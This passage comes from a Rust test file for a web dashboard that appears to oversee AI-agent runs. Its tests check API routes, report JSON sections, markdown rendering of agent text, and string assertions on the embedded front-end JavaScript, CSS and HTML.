12226        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12227            .expect("serialize list row");
12228        assert_eq!(row["status"], "reviewing");
12229        assert_eq!(row["live"], "dead", "{row}");
12230        assert!(!row["done"].as_bool().unwrap());
12231    }
12232
12233    #[tokio::test]
12234    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12235        let f = Fixture::start().await;
12236        for id in [
12237            "20260902-140501-aaaa",
12238            "20260902-140502-bbbb",
12239            "20260902-140503-cccc",
12240        ] {
12241            write_run(&f.runs(), id, RunStatus::Merged);
12242        }
12243
12244        let all = f.get("/api/runs").await.json();
12245        let capped = f.get("/api/runs?limit=2").await.json();
12246
12247        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12248        assert_eq!(all.as_array().map(Vec::len), Some(3));
12249        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12250        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12251    }
12252
12253    #[tokio::test]
12254    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12255        let f = Fixture::start().await;
12256        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12257
12258        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12259
12260        assert_eq!(res.status, 200);
12261        assert!(
12262            res.headers
12263                .contains("content-type: text/plain; charset=utf-8"),
12264            "a browser must render it, not download it: {}",
12265            res.headers
12266        );
12267        // The assertion is on content, not on the absence of escapes: colour
12268        // is a process-global that `serve` turns off at startup, and another
12269        // test in this binary may own it while this one runs.
12270        assert!(
12271            res.body.contains("20260902-140501-a1b2"),
12272            "the report is about the run that was asked for: {}",
12273            res.body
12274        );
12275    }
12276
12277    #[tokio::test]
12278    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12279        // The view names the run's state directory, which reads the process-global home.
12280        crate::run::pin_test_home();
12281        let f = Fixture::start().await;
12282        let id = "20260902-140501-a1b2";
12283        write_run(&f.runs(), id, RunStatus::Stalled);
12284        // A stalled panel and one review round, written through the real
12285        // state file so the route reads what a run really leaves behind.
12286        let path = f.runs().join(id).join("run.json");
12287        let mut v: serde_json::Value =
12288            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12289        v["tally"] = serde_json::json!({
12290            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12291            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12292            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12293            "met_quorum": false, "rankings": 1
12294        });
12295        v["reviews"] = serde_json::json!([{
12296            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12297            "e2e_deferred": true,
12298            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12299                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12300            ]}]
12301        }]);
12302        std::fs::write(&path, v.to_string()).unwrap();
12303        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12304        std::fs::write(
12305            f.runs().join("20260902-140502-dead").join("run.json"),
12306            "{not json",
12307        )
12308        .unwrap();
12309
12310        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12311
12312        assert_eq!(res.status, 200, "{}", res.body);
12313        assert!(res.headers.contains("content-type: application/json"));
12314        let j = res.json();
12315        assert_eq!(j["schema"], 1);
12316        assert_eq!(j["header"]["id"], id);
12317        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12318        let kinds: Vec<&str> = j["sections"]
12319            .as_array()
12320            .unwrap()
12321            .iter()
12322            .map(|s| s["kind"].as_str().unwrap())
12323            .collect();
12324        assert_eq!(kinds, ["candidates", "tally", "review"]);
12325        let tally = &j["sections"][1]["tally"];
12326        assert_eq!(
12327            (tally["decided"].clone(), tally["provisional"].clone()),
12328            (false.into(), true.into())
12329        );
12330        let round = &j["sections"][2]["rounds"][0];
12331        assert_eq!(round["e2e"]["state"], "deferred");
12332        assert_eq!(round["findings"][0]["severity"], "major");
12333        assert_eq!(round["findings"][0]["blocking"], true);
12334        assert_eq!(round["findings"][0]["state"], "open");
12335
12336        // The raw route keeps working beside it.
12337        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12338
12339        // An unreadable run is an error, as on the text route, and is counted.
12340        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12341        assert_ne!(bad.status, 200, "{}", bad.body);
12342        assert_eq!(
12343            bad.status,
12344            f.get("/api/runs/20260902-140502-dead/report").await.status
12345        );
12346        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12347        assert_eq!(
12348            f.get("/api/runs/20260902-999999-ffff/report.json")
12349                .await
12350                .status,
12351            404
12352        );
12353    }
12354
12355    #[tokio::test]
12356    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12357        let f = Fixture::start().await;
12358
12359        let html = f.get("/").await;
12360        let css = f.get("/app.css").await;
12361        let js = f.get("/app.js").await;
12362
12363        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12364        assert!(
12365            html.headers
12366                .contains("content-type: text/html; charset=utf-8")
12367        );
12368        assert!(css.headers.contains("content-type: text/css"));
12369        assert!(js.headers.contains("content-type: text/javascript"));
12370        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12371    }
12372
12373    #[test]
12374    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12375        let body = |name: &str| {
12376            let at = APP_JS
12377                .find(name)
12378                .unwrap_or_else(|| panic!("{name} missing"));
12379            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12380        };
12381        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12382        let note = body("function landRoundNote");
12383        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12384        assert!(note.contains("Land round ${round}"));
12385        let land = body("function renderLand");
12386        let note_at = land
12387            .find("landRoundNote(pr)")
12388            .expect("renderLand uses the note");
12389        assert!(
12390            note_at
12391                < land
12392                    .find("roundRail(pr)")
12393                    .expect("renderLand uses the rail")
12394        );
12395    }
12396
12397    #[test]
12398    fn the_runs_page_redesign_keeps_its_guards() {
12399        let body = |name: &str| {
12400            let at = APP_JS
12401                .find(name)
12402                .unwrap_or_else(|| panic!("{name} missing"));
12403            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12404        };
12405        // A null child must never reach the native append (it prints "null").
12406        let land = body("function renderLand");
12407        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12408        assert!(
12409            !land.contains("box.append("),
12410            "renderLand must use append()"
12411        );
12412        assert!(land.contains("append(box, ["));
12413        // Tabs are hash routes; the run id alone decides a reload.
12414        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12415        assert!(
12416            body("function applyRoute")
12417                .contains("route.name !== state.route.name || route.id !== state.route.id")
12418        );
12419        // The decorative diagram is gone, the strip and its guards stay.
12420        assert!(!APP_JS.contains("adviseConvergeDiagram"));
12421        assert!(!INDEX_HTML.contains("advise-converge"));
12422        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12423        assert!(APP_JS.contains("provisional"));
12424        for id in [
12425            "run-tab-overview",
12426            "run-tab-timeline",
12427            "run-tab-report",
12428            "run-report",
12429            "runs-scope",
12430        ] {
12431            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12432        }
12433        assert!(!INDEX_HTML.contains("runs-tree"));
12434        assert!(!INDEX_HTML.contains("run-raw-panel"));
12435        // Fold still says it cannot be resumed.
12436        assert!(APP_JS.contains("resume"));
12437        // The unreadable-runs count stays on the page.
12438        assert!(APP_JS.contains("unreadable"));
12439    }
12440
12441    #[test]
12442    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12443        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12444        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12445        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
12446        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12447        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12448        // The subtitle still counts them whatever the banner does.
12449        assert!(APP_JS.contains("unreadable` : null"));
12450    }
12451
12452    #[test]
12453    fn the_run_detail_payload_says_whether_the_run_is_done() {
12454        // `landView` reads `run.done`; the detail response must carry it.
12455        for (status, done) in [
12456            (RunStatus::Superseded, true),
12457            (RunStatus::Blocked, true),
12458            (RunStatus::Landing, false),
12459        ] {
12460            let mut state = RunState::new(
12461                std::path::PathBuf::from("/repo"),
12462                "main".to_owned(),
12463                "abc".to_owned(),
12464                "x".to_owned(),
12465                crate::config::Config::default(),
12466            );
12467            state.status = status;
12468            let v = serde_json::to_value(RunDetailView::of(
12469                state,
12470                crate::run::Liveness::Unknown,
12471                None,
12472                None,
12473                None,
12474            ))
12475            .unwrap();
12476            assert_eq!(v["done"], done, "{status:?}");
12477        }
12478    }
12479
12480    /// The first node of a markdown block holds a `strong` somewhere.
12481    fn has_strong(nodes: &[md::Node]) -> bool {
12482        serde_json::to_string(nodes).unwrap().contains("strong")
12483    }
12484
12485    #[test]
12486    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12487        let mut state = RunState::new(
12488            std::path::PathBuf::from("/repo"),
12489            "main".to_owned(),
12490            "abc".to_owned(),
12491            "x".to_owned(),
12492            crate::config::Config::default(),
12493        );
12494        let proposal = |approach: &str| {
12495            serde_json::json!({
12496                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12497            })
12498        };
12499        state.advice = Some(
12500            serde_json::from_value(serde_json::json!({
12501                "records": [
12502                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12503                     "proposal": proposal("do **this**")},
12504                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12505                ],
12506                "synthesis": "- one\n- **two**\n\n`code`",
12507            }))
12508            .unwrap(),
12509        );
12510        state.candidates = serde_json::from_value(serde_json::json!([
12511            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12512             "summary": "did **it**"},
12513            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12514        ]))
12515        .unwrap();
12516        // Recorded in ascending severity, the reverse of how the page sorts
12517        // them: the arrays must follow the record, not the display.
12518        state.reviews = serde_json::from_value(serde_json::json!([{
12519            "round": 1, "head": "h",
12520            "reviews": [{
12521                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12522                "findings": [
12523                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
12524                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12525                ],
12526            }],
12527            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12528            "fix": {"agent": "a", "notes": "fixed **it**",
12529                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12530        }, {"round": 2, "head": "h2", "reviews": []}]))
12531        .unwrap();
12532
12533        let v = serde_json::to_value(RunDetailView::of(
12534            state,
12535            crate::run::Liveness::Unknown,
12536            None,
12537            None,
12538            None,
12539        ))
12540        .unwrap();
12541
12542        let strong = |p: &str| {
12543            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12544            assert!(n.to_string().contains("strong"), "{p}: {n}");
12545        };
12546        strong("/advice_md/synthesis");
12547        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12548        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12549        strong("/advice_md/approaches/0");
12550        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12551        strong("/candidate_summaries_md/0");
12552        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12553        strong("/reviews_md/0/reviewers/0/summary");
12554        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12555        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12556        assert!(f[1].to_string().contains("strong"));
12557        strong("/reviews_md/0/reconsideration/0");
12558        strong("/reviews_md/0/fix/notes");
12559        strong("/reviews_md/0/fix/rejected/0");
12560        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12561        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12562        // The raw strings stay, and no schema moved.
12563        assert_eq!(v["candidates"][0]["summary"], "did **it**");
12564        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12565    }
12566
12567    #[test]
12568    fn a_run_without_advice_has_no_advice_md() {
12569        let state = RunState::new(
12570            std::path::PathBuf::from("/repo"),
12571            "main".to_owned(),
12572            "abc".to_owned(),
12573            "x".to_owned(),
12574            crate::config::Config::default(),
12575        );
12576        let p = run_prose_md(&state);
12577        assert!(p.advice_md.is_none());
12578        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12579    }
12580
12581    #[test]
12582    fn a_question_view_carries_markdown_for_each_thread_turn() {
12583        let home = TempDir::new().unwrap();
12584        let store = ask::Questions::at(home.path().join("questions"));
12585        let mut q = Question::new(
12586            "run".to_owned(),
12587            "implement".to_owned(),
12588            "impl-A".to_owned(),
12589            "which?".to_owned(),
12590            String::new(),
12591            Vec::new(),
12592        );
12593        q.say("plain words").unwrap();
12594        q.reply("use **this**", Vec::new()).unwrap();
12595        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12596        let bodies = &v["thread_bodies_md"];
12597        assert_eq!(bodies.as_array().unwrap().len(), 2);
12598        assert!(!bodies[0].to_string().contains("strong"));
12599        assert!(bodies[1].to_string().contains("strong"));
12600    }
12601
12602    #[test]
12603    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12604        let home = TempDir::new().unwrap();
12605        let store = ask::Questions::at(home.path().join("questions"));
12606        let mut q = Question::new(
12607            "run".to_owned(),
12608            "conduct".to_owned(),
12609            "conduct".to_owned(),
12610            "which?".to_owned(),
12611            String::new(),
12612            Vec::new(),
12613        );
12614        q.say("plain words").unwrap();
12615        q.thread.push(ask::Turn {
12616            who: ask::Who::Agent,
12617            body: "Settled as `merge`".to_owned(),
12618            at: jiff::Timestamp::now(),
12619            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12620        });
12621        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12622        let notes = &v["thread_notes_md"];
12623        assert_eq!(notes.as_array().unwrap().len(), 2);
12624        assert!(notes[0].is_null());
12625        let text = notes[1].to_string();
12626        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12627        assert!(APP_JS.contains("ask-turn-note"));
12628    }
12629
12630    #[test]
12631    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12632        // The land panel defers to `run.status` for merged, and labels a
12633        // recorded-open PR on any finished run (superseded, blocked, ...) as
12634        // last seen, never as live state.
12635        assert!(APP_JS.contains("function landView(run, raw) {"));
12636        assert!(
12637            APP_JS.contains(
12638                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12639            )
12640        );
12641        assert!(APP_JS.contains("const pr = landView(run, raw);"));
12642        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12643        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12644        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12645    }
12646
12647    #[test]
12648    fn live_runs_are_never_hidden_or_folded_as_superseded() {
12649        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
12650        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12651        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12652        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12653    }
12654
12655    #[test]
12656    fn review_rounds_label_a_distinct_verified_head() {
12657        assert!(APP_JS.contains("round.verified_head"));
12658        assert!(APP_JS.contains("verified HEAD"));
12659        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12660    }
12661
12662    #[test]
12663    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12664        // A blocked task's chip and note must not fall back to a queued-like
12665        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
12666        // itself by e11fc58 but never checked here.
12667        assert!(APP_JS.contains("blocked: { glyph:"));
12668        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12669
12670        // `blocked_by` mixes task ids and question ids in the same list, and
12671        // the client can only tell them apart by checking each id against
12672        // what it actually knows - never by guessing from the id's shape.
12673        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12674        assert!(
12675            APP_JS.contains(
12676                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12677            ),
12678            "the note line must name what a blocked task is waiting on, not just that it is blocked"
12679        );
12680        // The classification must key off `status_str`, never off `blocked_by`
12681        // or `block_reason` merely being present - both can survive briefly
12682        // on a task a hold or a dead daemon just moved off `blocked`.
12683        assert!(APP_JS.contains("if (status === \"blocked\") {"));
12684
12685        // A question a task is blocked on gets its own node in the same
12686        // dependency graph, not just a task-shaped node with nothing known
12687        // about it.
12688        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12689        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12690        assert!(
12691            APP_JS.contains("location.hash = \"#/questions\";"),
12692            "a question node must jump to the Questions screen, not pretend to be a task"
12693        );
12694
12695        // `Task::answers` - decisions already made - are shown as a record on
12696        // the card, the same disclosure style as the full instruction.
12697        assert!(APP_JS.contains("Resolved questions"));
12698        assert!(APP_JS.contains("r.answersList.append("));
12699        assert!(APP_CSS.contains(".task-answers"));
12700        {
12701            let start = APP_JS
12702                .find("function updateTalkTaskRow")
12703                .expect("updateTalkTaskRow");
12704            let body = &APP_JS[start..];
12705            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12706            assert!(
12707                body.contains(
12708                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12709                ),
12710                "a chat-filed task row must link to the task page"
12711            );
12712            assert!(
12713                !body.contains("#/runs/") && !body.contains("#/queue/"),
12714                "the row must not branch to a run or the queue card"
12715            );
12716            assert!(APP_CSS.contains(".talk-task-link"));
12717        }
12718    }
12719
12720    #[test]
12721    fn a_task_notification_links_to_the_task_page() {
12722        // A task notice opens the task detail page, not the Backlog card.
12723        let start = APP_JS
12724            .find("function noticeLink(")
12725            .expect("noticeLink exists");
12726        let body = &APP_JS[start..];
12727        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12728        assert!(
12729            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12730            "a task notice's link must target the task page"
12731        );
12732        assert!(
12733            !body.contains("#/queue/"),
12734            "regression: the task link must not go back to the Backlog route"
12735        );
12736        assert!(
12737            APP_JS.contains(
12738                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12739            ),
12740            "`#/tasks/<id>` must parse into the task route"
12741        );
12742
12743        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
12744        assert!(
12745            APP_JS.contains(
12746                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12747            ),
12748            "`#/queue/<id>` must parse into a route carrying that id"
12749        );
12750
12751        // And the Backlog view has to actually land on the card once it can
12752        // - see consumeQueueFocus(), which renderQueue() calls on every pass
12753        // so a focus set before the queue has loaded is retried once it has.
12754        assert!(APP_JS.contains("state.queueFocus = route.id;"));
12755        assert!(APP_JS.contains("function consumeQueueFocus()"));
12756        assert!(APP_JS.contains("jumpToTask(id)"));
12757    }
12758
12759    /// Chat rows are two lines at every width: the title alone, then the
12760    /// shrinkable secondary info.
12761    #[test]
12762    fn chat_rows_put_the_title_alone_on_the_first_line() {
12763        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
12764        assert!(APP_CSS.contains(
12765            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12766        ));
12767        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12768        assert!(APP_JS.contains("class: \"badge talk-unread\""));
12769    }
12770
12771    #[test]
12772    fn run_rows_put_the_title_alone_on_the_first_line() {
12773        assert!(
12774            APP_CSS.contains(
12775                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
12776            )
12777        );
12778        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12779        assert!(APP_JS.contains("class: \"card run-card\""));
12780        assert!(APP_JS.contains("class: \"repo run-id\""));
12781    }
12782
12783    /// Wide screens get a master/detail layout built from the views a phone
12784    /// drills into. These are string assertions: they pin the contract between
12785    /// the three assets, not how it looks.
12786    #[test]
12787    fn wide_screens_show_list_and_preview_side_by_side() {
12788        // One breakpoint, spelled the same in the script and the stylesheet.
12789        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12790        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12791        assert!(APP_CSS.contains("main[data-split]"));
12792        assert!(APP_CSS.contains("body[data-split]"));
12793
12794        // The route -> panes table, and a narrow screen opting out of it.
12795        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
12796        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12797        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12798        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12799        assert!(INDEX_HTML.contains("id=\"split-empty\""));
12800
12801        // Selection is derived from the route, and only ever paints a row.
12802        assert!(APP_JS.contains("function markSelected() {"));
12803        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12804        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12805        // The dense row must override the stacked card the 720px block sets up.
12806        assert!(
12807            APP_CSS.contains(
12808                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12809            )
12810        );
12811
12812        // Independent scrolling: the page stops scrolling, each pane does.
12813        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12814        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12815        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12816        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12817
12818        // A refresh must never navigate: the loaders still check that their
12819        // subject is the one on screen, and crossing the breakpoint only
12820        // re-reads the hash.
12821        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12822        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12823        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12824        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12825
12826        // The panel sandbox and its CSP are untouched by any of this.
12827        assert!(APP_JS.contains("sandbox: \"\""));
12828        assert!(!APP_JS.contains("sandbox: \"allow"));
12829    }
12830
12831    #[test]
12832    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12833        // consumeQueueFocus() clears an active Backlog search before it can
12834        // scroll to the target card (the sections list is hidden while a
12835        // search is showing), by recursing back into renderQueue(). The
12836        // fixer's first cut nulled state.queueFocus before that recursive
12837        // call, so the second pass saw nothing to jump to and the jump was
12838        // silently dropped whenever a notification's link was opened with a
12839        // stale search still active. state.queueFocus must only be cleared
12840        // right before jumpToTask() actually runs.
12841        assert!(
12842            APP_JS.contains(
12843                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
12844            ),
12845            "the search-clearing branch must run before state.queueFocus is cleared, or the \
12846             recursive renderQueue() call has nothing left to jump to"
12847        );
12848        assert!(
12849            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12850            "state.queueFocus must be cleared only once the jump has landed, so a card that \
12851             arrives later still gets it"
12852        );
12853        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12854        assert!(APP_JS.contains("is not in the current Backlog."));
12855        assert!(APP_JS.contains("li.card[data-task-id=\""));
12856        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12857        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12858        assert!(APP_CSS.contains(".card-permalink"));
12859        assert!(APP_CSS.contains(".queue-focus-status"));
12860        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12861    }
12862
12863    #[test]
12864    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12865        // The task's own repro: only the link text inside .notice-meta was
12866        // clickable, so a tap on the message, the timestamp, or the card's
12867        // padding did nothing - on a phone that reads as "the card doesn't
12868        // work" even though the tiny link inside it did. Mark read / Dismiss
12869        // must keep working independently of this: `.closest("a, button")`
12870        // is what lets a tap that actually lands on those elements fall
12871        // through instead of being hijacked into a navigation.
12872        assert!(
12873            APP_JS.contains(
12874                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12875            ),
12876            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12877        );
12878    }
12879
12880    #[test]
12881    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12882        assert!(
12883            APP_JS.contains("round.verified_head !== round.head"),
12884            "a round that verified an earlier commit must be visibly distinct from one that \
12885             verified the head reviewers are looking at now"
12886        );
12887        assert!(
12888            APP_JS.contains("round.verified_at"),
12889            "when a check ran must be on the wire, not just which commit"
12890        );
12891        assert!(
12892            APP_JS.contains("resource_blocked"),
12893            "a command magi never got to run (shared build cache contention) must not render \
12894             the same as a command that ran and failed"
12895        );
12896    }
12897
12898    #[test]
12899    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12900        // Every KPI tile but Total runs and Completion names an exact
12901        // RunStatus and hands it to openRunsFiltered(), which is what wires
12902        // the click into state.runsFilter.status (matchesFilter's own
12903        // status check) rather than the coarser runsStateFilter chips. Each
12904        // status literal here must be one of the strings runSection() (and
12905        // isStale()) actually compare a run's own `status` field against -
12906        // a status this dashboard invented would filter to nothing.
12907        assert!(
12908            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12909            "every KPI tile built through statusTile() must route its click through \
12910             openRunsFiltered, the single place that sets the Runs filter"
12911        );
12912        for (label, status) in [
12913            ("Merged", "merged"),
12914            ("Ready", "ready"),
12915            ("Blocked", "blocked"),
12916            ("Stalled", "stalled"),
12917        ] {
12918            let call = format!("statusTile(\"{label}\", t.{status}, ");
12919            assert!(
12920                APP_JS.contains(&call),
12921                "expected the {label} KPI tile built via {call}..."
12922            );
12923            assert!(
12924                APP_JS.contains(&format!("status === \"{status}\"")),
12925                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12926                 compare a run against, not one invented only for the stats tile"
12927            );
12928        }
12929        assert!(
12930            APP_JS.contains("function openRunsFiltered(status)"),
12931            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12932        );
12933        assert!(
12934            APP_JS.contains(
12935                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12936            ),
12937            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12938        );
12939        // applyRoute() only flips which view is visible for a plain `#runs`
12940        // hash - it does not itself redraw the list (see applyRoute's own
12941        // handling below) - so openRunsFiltered must call renderRuns()
12942        // itself, and must call applyRoute() too so the view flips even
12943        // when the hash string doesn't change (the operator may already be
12944        // on the Runs view when a tile is tapped, which fires no
12945        // hashchange event at all).
12946        assert!(
12947            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
12948            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12949             hashchange event that may never fire"
12950        );
12951    }
12952
12953    #[test]
12954    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12955        // A stats tile can leave state.runsFilter.status set to something
12956        // done-by-construction (e.g. "merged") - picking "Active" afterward
12957        // must drop it the same way an incompatible tree section is already
12958        // dropped, or the Runs list renders permanently empty with no way
12959        // for the operator to tell why.
12960        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12961        assert!(
12962            APP_JS.contains(
12963                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
12964            ),
12965            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12966             guard for an incompatible tree section"
12967        );
12968    }
12969
12970    #[test]
12971    fn every_stats_queue_tile_names_a_real_queue_section() {
12972        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
12973        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
12974        // (consumeQueueSectionFocus finds no matching <details> and drops
12975        // the focus) rather than fail loudly, so pin every key against the
12976        // section list it has to resolve against.
12977        assert!(
12978            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12979            "every queue tile built through sectionTile() must route its click through \
12980             openQueueSectionFocus"
12981        );
12982        for key in ["upnext", "running", "done", "held", "blocked"] {
12983            assert!(
12984                APP_JS.contains(&format!("{{ key: \"{key}\",")),
12985                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12986            );
12987        }
12988        // Queued and Failed intentionally both resolve to "upnext" - the
12989        // same section queueSection() itself files them under - rather than
12990        // getting a section each.
12991        for line in [
12992            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12993            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12994            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12995            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
